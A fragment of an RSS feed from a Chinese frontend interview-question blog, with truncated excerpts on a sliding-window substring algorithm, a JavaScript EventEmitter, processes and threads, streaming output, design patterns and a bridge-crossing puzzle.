&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;lengthOfLongestSubstring&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#34;abcabcbb&amp;#34;&lt;/span&gt;)); &lt;span style="color:#75715e"&gt;// 输出 3
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="思路"&gt;思路&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;使用 &lt;strong&gt;滑动窗口&lt;/strong&gt; &lt;code&gt;[left, right]&lt;/code&gt; 遍历字符串。&lt;/li&gt;
&lt;li&gt;用 &lt;code&gt;Set&lt;/code&gt; 存储当前窗口内字符。&lt;/li&gt;
&lt;li&gt;当遇到重复字符时，移动左指针，直到窗口内无重复字符。&lt;/li&gt;
&lt;li&gt;每次窗口扩大时更新最大长度。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="时间复杂度"&gt;时间复杂度&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;每个字符 &lt;strong&gt;最多进出窗口一次&lt;/strong&gt; → O(n)&lt;/li&gt;
&lt;li&gt;空间复杂度：O(min(n, Σ))，Σ 是字符集大小。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2 id="二性能优化"&gt;二、性能优化&lt;/h2&gt;
&lt;p&gt;上面方法每遇到重复字符，需要 &lt;strong&gt;逐个删除左边字符&lt;/strong&gt;。可以进一步优化为 &lt;strong&gt;直接跳过重复字符的索引&lt;/strong&gt;，使用 &lt;strong&gt;Map 存储字符上次出现的索引&lt;/strong&gt;。&lt;/p&gt;</description></item><item><title>编程题 面试题</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/interview-questions/tag-17-98dde3d4/</link><pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/interview-questions/tag-17-98dde3d4/</guid><description>&lt;p&gt;共 136 道 编程题 面试题。答案默认折叠，便于先自行作答。&lt;/p&gt;
&lt;h2 id="question-0a146449-b17c-42f8-9029-7c56402adc98"&gt;1. 实现发布订阅模式&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;难度：2 · 类型：QA&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id="题目要点"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;发布订阅模式通过事件中心解耦消息发送者与接收者，核心实现是维护事件名与回调函数列表之间的映射关系。订阅阶段注册回调函数，发布阶段遍历执行所有监听函数，取消订阅则从列表中移除对应回调。工程实践中通常会扩展一次性订阅、事件隔离等能力，但在大型应用中需要避免滥用事件总线，以免造成事件链复杂和内存管理问题。&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;发布订阅模式（Publish–Subscribe Pattern）是一种典型的 &lt;strong&gt;消息通信模式&lt;/strong&gt;。其核心思想是将消息的发送者（Publisher）与接收者（Subscriber）进行解耦，消息不会直接发送给某个具体对象，而是发布到一个事件或主题（Topic）上，由所有订阅该事件的监听者统一接收。&lt;/p&gt;
&lt;p&gt;在前端应用中，这种模式常用于 &lt;strong&gt;组件通信、事件总线、状态变化通知、插件系统等场景&lt;/strong&gt;。例如一个模块只负责发布事件，而其他模块只需要订阅事件即可响应变化，双方不需要知道彼此的存在。&lt;/p&gt;
&lt;p&gt;实现发布订阅模式通常需要三个核心能力：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;注册订阅（subscribe / on）&lt;/li&gt;
&lt;li&gt;发布事件（publish / emit）&lt;/li&gt;
&lt;li&gt;取消订阅（unsubscribe / off）&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;本质上可以通过维护一个 &lt;strong&gt;事件名 → 回调函数列表&lt;/strong&gt; 的映射结构来实现。&lt;/p&gt;
&lt;p&gt;一个简单实现如下：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;class&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;EventEmitter&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;constructor&lt;/span&gt;() {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;this&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;events&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; Object.&lt;span style="color:#a6e22e"&gt;create&lt;/span&gt;(&lt;span style="color:#66d9ef"&gt;null&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;on&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;eventName&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;handler&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (&lt;span style="color:#f92672"&gt;!&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;this&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;events&lt;/span&gt;[&lt;span style="color:#a6e22e"&gt;eventName&lt;/span&gt;]) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;this&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;events&lt;/span&gt;[&lt;span style="color:#a6e22e"&gt;eventName&lt;/span&gt;] &lt;span style="color:#f92672"&gt;=&lt;/span&gt; [];
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;this&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;events&lt;/span&gt;[&lt;span style="color:#a6e22e"&gt;eventName&lt;/span&gt;].&lt;span style="color:#a6e22e"&gt;push&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;handler&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;emit&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;eventName&lt;/span&gt;, ...&lt;span style="color:#a6e22e"&gt;args&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;handlers&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;this&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;events&lt;/span&gt;[&lt;span style="color:#a6e22e"&gt;eventName&lt;/span&gt;];
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (&lt;span style="color:#f92672"&gt;!&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;handlers&lt;/span&gt;) &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;handlers&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;forEach&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;fn&lt;/span&gt; =&amp;gt; &lt;span style="color:#a6e22e"&gt;fn&lt;/span&gt;(...&lt;span style="color:#a6e22e"&gt;args&lt;/span&gt;));
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;off&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;eventName&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;handler&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;handlers&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;this&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;events&lt;/span&gt;[&lt;span style="color:#a6e22e"&gt;eventName&lt;/span&gt;];
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (&lt;span style="color:#f92672"&gt;!&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;handlers&lt;/span&gt;) &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;this&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;events&lt;/span&gt;[&lt;span style="color:#a6e22e"&gt;eventName&lt;/span&gt;] &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;handlers&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;filter&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;fn&lt;/span&gt; =&amp;gt; &lt;span style="color:#a6e22e"&gt;fn&lt;/span&gt; &lt;span style="color:#f92672"&gt;!==&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;handler&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;使用方式如下：&lt;/p&gt;</description></item><item><title>计算机基础 面试题</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/interview-questions/tag-21-e009ecee/</link><pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/interview-questions/tag-21-e009ecee/</guid><description>&lt;p&gt;共 19 道 计算机基础 面试题。答案默认折叠，便于先自行作答。&lt;/p&gt;
&lt;h2 id="question-566e4e90-c81e-4fe0-82bc-27ca19b835e7"&gt;1. 进程、线程、协程分别是什么概念？&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;难度：1 · 类型：QA&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id="题目要点"&gt;题目要点&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;进程&lt;/strong&gt; 是独立的资源分配单位，每个进程有自己的内存和资源。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;线程&lt;/strong&gt; 是进程中的执行单元，线程之间共享进程的资源，但每个线程有自己的执行栈。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;协程&lt;/strong&gt; 是一种用户级的轻量级线程，通过程序控制的方式在任务之间进行切换，适合需要高效并发的场景。&lt;/li&gt;
&lt;/ul&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;进程、线程和协程是计算机程序设计中不同层次的执行单元，各自有不同的概念和特点。以下是它们的详细解释：&lt;/p&gt;
&lt;h3 id="1-进程process"&gt;&lt;strong&gt;1. 进程（Process）&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;概念&lt;/strong&gt;：进程是操作系统分配资源的基本单位，是正在执行的程序的实例。每个进程都有自己的地址空间、内存、文件描述符等资源。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;特点&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;独立性&lt;/strong&gt;：进程是相互独立的，互不干扰。一个进程的崩溃不会直接影响到其他进程。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;资源分配&lt;/strong&gt;：每个进程有独立的内存空间和系统资源。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;开销大&lt;/strong&gt;：由于需要独立的资源和内存，进程之间的切换（上下文切换）开销相对较大。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;应用&lt;/strong&gt;：常用于需要高隔离性和独立性的场景，如多进程服务器、操作系统服务等。&lt;/p&gt;
&lt;h3 id="2-线程thread"&gt;&lt;strong&gt;2. 线程（Thread）&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;概念&lt;/strong&gt;：线程是进程中的执行单元，是程序执行的最小单位。一个进程可以包含多个线程，这些线程共享进程的资源（如内存）。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;特点&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;共享资源&lt;/strong&gt;：线程之间共享进程的内存和资源，这使得线程间通信更加高效，但也带来了同步和竞争的问题。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;开销小&lt;/strong&gt;：线程的创建和销毁比进程要快，线程之间的切换也比进程切换更高效。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;协作&lt;/strong&gt;：线程之间可以进行协作，适合进行多任务处理。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;应用&lt;/strong&gt;：适用于需要并发执行的场景，如多线程应用程序、并行计算等。&lt;/p&gt;
&lt;h3 id="3-协程coroutine"&gt;&lt;strong&gt;3. 协程（Coroutine）&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;概念&lt;/strong&gt;：协程是一种轻量级的线程，允许在执行过程中挂起和恢复，支持非抢占式的任务切换。协程可以在单线程中并发执行多个任务，但它们之间的切换由程序控制而不是操作系统。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;特点&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;协作式切换&lt;/strong&gt;：协程通过显式的挂起和恢复操作进行切换，不需要操作系统的调度。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;轻量级&lt;/strong&gt;：协程的创建和切换开销非常小，通常比线程更高效。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;适用场景&lt;/strong&gt;：适用于需要大量并发操作但不需要多线程资源的场景，如异步编程、事件驱动编程等。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;应用&lt;/strong&gt;：广泛用于异步编程、游戏开发、网络编程等领域。许多现代编程语言（如 Python 的 &lt;code&gt;asyncio&lt;/code&gt;、JavaScript 的 &lt;code&gt;async/await&lt;/code&gt;）都支持协程。&lt;/p&gt;
&lt;/details&gt;
&lt;h2 id="question-5296602e-3318-4ad0-81aa-023ab8454343"&gt;2. 解释性语言和编译型语言有什么区别？&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;难度：2 · 类型：QA&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id="题目要点-1"&gt;题目要点&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;解释性语言&lt;/strong&gt;：逐行解释执行，适合快速开发和跨平台，但执行速度较慢。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;编译型语言&lt;/strong&gt;：预先编译成机器码，执行速度较快，适合性能要求高的应用，但开发周期较长。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;现代编程语言和环境往往结合这两种方式，以兼顾开发效率和执行性能。&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;解释性语言和编译型语言是两种不同的编程语言执行方式，它们在代码执行、编译过程、执行效率等方面有显著差异。以下是它们的主要区别：&lt;/p&gt;
&lt;h3 id="1-解释性语言interpreted-languages"&gt;1. &lt;strong&gt;解释性语言（Interpreted Languages）&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;定义&lt;/strong&gt;：解释性语言的代码在运行时由解释器逐行解释和执行。解释器将源代码逐步翻译成机器码或中间代码，然后立即执行。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;执行方式&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;代码在每次执行时都会被解释器逐行翻译。&lt;/li&gt;
&lt;li&gt;不需要预先编译成机器码。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;优点&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;开发和测试灵活性&lt;/strong&gt;：支持即时运行和调试，便于快速开发和修改。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;跨平台性&lt;/strong&gt;：代码可以在不同平台上运行，只要有相应的解释器。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;缺点&lt;/strong&gt;：&lt;/p&gt;</description></item><item><title>计算机网络 面试题</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/interview-questions/tag-7-38746af8/</link><pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/interview-questions/tag-7-38746af8/</guid><description>&lt;p&gt;共 104 道 计算机网络 面试题。答案默认折叠，便于先自行作答。&lt;/p&gt;
&lt;h2 id="question-2c32c460-d90d-45a6-b480-bb592fa9caa9"&gt;1. 说说流式输出的原理及其应用场景&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;难度：3 · 类型：QA&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id="题目要点"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;流式输出的本质是将结果按时间拆分为连续数据流，实现边生成、边传输、边消费；它通过降低首字节时间和提升反馈及时性来改善用户体验；常见于大模型推理、长耗时任务、实时数据和媒体传输等场景；但同时也带来更高的工程复杂度，需要在体验收益与系统成本之间进行权衡。&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;流式输出并不是一种新的计算模型，而是一种&lt;strong&gt;结果传递与消费方式的改变&lt;/strong&gt;：从“一次性生成、一次性返回”，变为“边生成、边传输、边消费”。理解它的关键，不在于某个具体 API，而在于&lt;strong&gt;数据生产方、传输层和消费方三者如何协同工作&lt;/strong&gt;。&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="一流式输出的基本原理"&gt;一、流式输出的基本原理&lt;/h2&gt;
&lt;h3 id="1-传统非流式模式"&gt;1. 传统非流式模式&lt;/h3&gt;
&lt;p&gt;在非流式模式下，系统的执行流程是严格串行的：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;服务端完整计算结果&lt;/li&gt;
&lt;li&gt;将结果一次性写入响应&lt;/li&gt;
&lt;li&gt;客户端在接收完全部数据后再进行处理或渲染&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;这种模式的特点是实现简单，但&lt;strong&gt;首字节时间（TTFB）和用户感知延迟较高&lt;/strong&gt;，尤其当计算过程本身很慢时，用户在很长一段时间内得不到任何反馈。&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id="2-流式输出模式"&gt;2. 流式输出模式&lt;/h3&gt;
&lt;p&gt;流式输出的核心变化在于：&lt;strong&gt;结果不再作为一个整体返回，而是被拆分为多个连续的数据块&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;典型流程是：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;服务端在计算过程中，阶段性地产生部分结果&lt;/li&gt;
&lt;li&gt;每当有新数据可用，就立刻写入响应流并 flush&lt;/li&gt;
&lt;li&gt;客户端持续读取数据流，并逐步消费、渲染或处理&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;在传输层，这通常依赖于&lt;strong&gt;长连接 + 分块传输&lt;/strong&gt;，例如 HTTP chunked encoding、Server-Sent Events 或 WebSocket。&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id="3-从系统视角看流式输出"&gt;3. 从系统视角看流式输出&lt;/h3&gt;
&lt;p&gt;从系统设计角度，流式输出具备以下特征：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;数据是&lt;strong&gt;按时间顺序增量产生的&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;消费方不需要等待生产方完全结束&lt;/li&gt;
&lt;li&gt;生产与消费之间形成一种弱同步关系&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;这使得系统整体从“请求-响应”模型，转变为一种更接近“发布-订阅”的交互方式。&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="二前端视角下的实现机制"&gt;二、前端视角下的实现机制&lt;/h2&gt;
&lt;p&gt;在前端，流式输出通常体现在&lt;strong&gt;如何读取并渲染增量数据&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;以 HTTP 流为例：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;浏览器通过 Fetch API 获取一个 ReadableStream&lt;/li&gt;
&lt;li&gt;通过 &lt;code&gt;getReader()&lt;/code&gt; 持续读取字节块&lt;/li&gt;
&lt;li&gt;将字节解码为文本或结构化数据&lt;/li&gt;
&lt;li&gt;逐步更新 UI，而不是等全部完成&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;这种方式要求前端具备更细粒度的状态管理能力，例如处理中间态、取消、错误恢复等问题。&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="三典型应用场景"&gt;三、典型应用场景&lt;/h2&gt;
&lt;h3 id="1-大模型推理与对话系统"&gt;1. 大模型推理与对话系统&lt;/h3&gt;
&lt;p&gt;这是当前最典型的应用场景之一。
模型在生成文本时是逐 token 产生的，流式输出可以让用户几乎立即看到内容开始出现，显著降低等待焦虑，同时也便于中途打断和重试。&lt;/p&gt;</description></item><item><title>设计模式 面试题</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/interview-questions/tag-18-1729148f/</link><pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/interview-questions/tag-18-1729148f/</guid><description>&lt;p&gt;共 7 道 设计模式 面试题。答案默认折叠，便于先自行作答。&lt;/p&gt;
&lt;h2 id="question-252664a5-1524-46f0-b6ae-ae7e2874f6e2"&gt;1. 开发的过程中你用到过哪些设计模式？&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;难度：3 · 类型：QA&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id="题目要点"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;设计模式是一种被广泛接受并经过验证的面向对象软件开发中的最佳实践。它们提供了一套解决常见问题的可重用设计方案。&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;设计模式是一种被广泛接受并经过验证的面向对象软件开发中的最佳实践。它们提供了一套解决常见问题的可重用设计方案。&lt;/p&gt;
&lt;p&gt;以下是一些常用的设计模式：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;单例模式（Singleton）&lt;/strong&gt;：确保一个类只有一个实例，并提供全局访问点来获取该实例。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;工厂模式（Factory）&lt;/strong&gt;：通过工厂方法创建对象，而不是直接使用&lt;code&gt;new&lt;/code&gt;操作符。这样可以隐藏具体实现，并根据需要创建所需类型的对象。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;观察者模式（Observer）&lt;/strong&gt;：定义了一种一对多的依赖关系，当一个对象状态发生改变时，它的所有依赖者（观察者）都会收到通知并自动更新。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;装饰器模式（Decorator）&lt;/strong&gt;：动态地将责任附加到对象上。通过将对象包装在装饰器对象中，可以在运行时为对象添加新的行为。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;策略模式（Strategy）&lt;/strong&gt;：定义了一系列算法，将每个算法封装起来并使它们可以相互替换。策略模式可以让算法独立于客户端而变化。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;适配器模式（Adapter）&lt;/strong&gt;：将一个类的接口转换成客户端所期望的另一个接口。适配器模式使得原本由于接口不匹配而无法一起工作的类可以协同工作。&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;每个设计模式都有其特定的应用场景和优缺点，可以根据具体情况来选择使用。设计模式可以提高代码结构的灵活性、可维护性和可扩展性，并促进重用和解耦。然而，需要根据实际需求慎重选择和应用设计模式，避免过度设计或不必要的复杂性。&lt;/p&gt;
&lt;/details&gt;
&lt;h2 id="question-c79bd75a-aa6d-4228-9e55-c9fb41e97253"&gt;2. 什么是 MVVM？比之 MVC 有什么区别？什么又是 MVP ？&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;难度：3 · 类型：QA&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id="题目要点-1"&gt;题目要点&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;MVC（Model-View-Controller）&lt;/strong&gt;：将应用程序分为模型、视图和控制器。控制器处理用户输入并更新模型和视图。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;MVVM（Model-View-ViewModel）&lt;/strong&gt;：将应用程序分为模型、视图和视图模型。视图模型处理视图和模型之间的交互，通过数据绑定简化状态管理。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;MVP（Model-View-Presenter）&lt;/strong&gt;：将应用程序分为模型、视图和展示者。展示者处理视图和模型之间的交互，并负责更新视图和模型。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;每种模式都有其适用场景和优缺点，选择哪一种模式通常取决于应用程序的需求和团队的开发习惯。&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;MVC、MVP 和 MVVM 是三种常见的软件架构设计模式，主要通过分离关注点的方式来组织代码结构，优化我们的开发效率。&lt;/p&gt;
&lt;p&gt;比如说我们实验室在以前项目开发的时候，使用单页应用时，往往一个路由页面对应了一个脚本文件，所有的页面逻辑都在一个脚本文件里。页面的渲染、数据的获取，对用户事件的响应所有的应用逻辑都混合在一起，这样在开发简单项目时，可能看不出什么问题，当时一旦项目变得复杂，那么整个文件就会变得冗长，混乱，这样对我们的项目开发和后期的项目维护是非常不利的。&lt;/p&gt;
&lt;p&gt;MVC 通过分离 Model、View 和 Controller 的方式来组织代码结构。其中 View 负责页面的显示逻辑，Model 负责存储页面的业务数据，以及对相应数据的操作。并且 View 和 Model 应用了观察者模式，当 Model 层发生改变的时候它会通知有关 View 层更新页面。Controller 层是 View 层和 Model 层的纽带，它主要负责用户与应用的响应操作，当用户与页面产生交互的时候，Co
ntroller 中的事件触发器就开始工作了，通过调用 Model 层，来完成对 Model 的修改，然后 Model 层再去通知 View 层更新。&lt;/p&gt;</description></item><item><title>趣味题 面试题</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/interview-questions/tag-8-ff7de42b/</link><pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/interview-questions/tag-8-ff7de42b/</guid><description>&lt;p&gt;共 35 道 趣味题 面试题。答案默认折叠，便于先自行作答。&lt;/p&gt;
&lt;h2 id="question-482d976d-6697-4456-b0f5-8af4dd060dfc"&gt;1. 过桥问题&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;难度：2 · 类型：QA&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;在一个夜晚，同时有4人需要过一桥，一次最多只能通过两个人，且只有一只手电筒，而且每人的速度不同。A，B，C，D需要时间分别为：1，2，5，10分钟。问：在17分钟内这四个人怎么过桥？&lt;/p&gt;
&lt;h3 id="题目要点"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;第一步：A、B过花时间2分钟。&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;第一步：A、B过花时间2分钟。&lt;/p&gt;
&lt;p&gt;第二步：B回花时间2分钟。&lt;/p&gt;
&lt;p&gt;第三步：C、D过花时间10分钟。&lt;/p&gt;
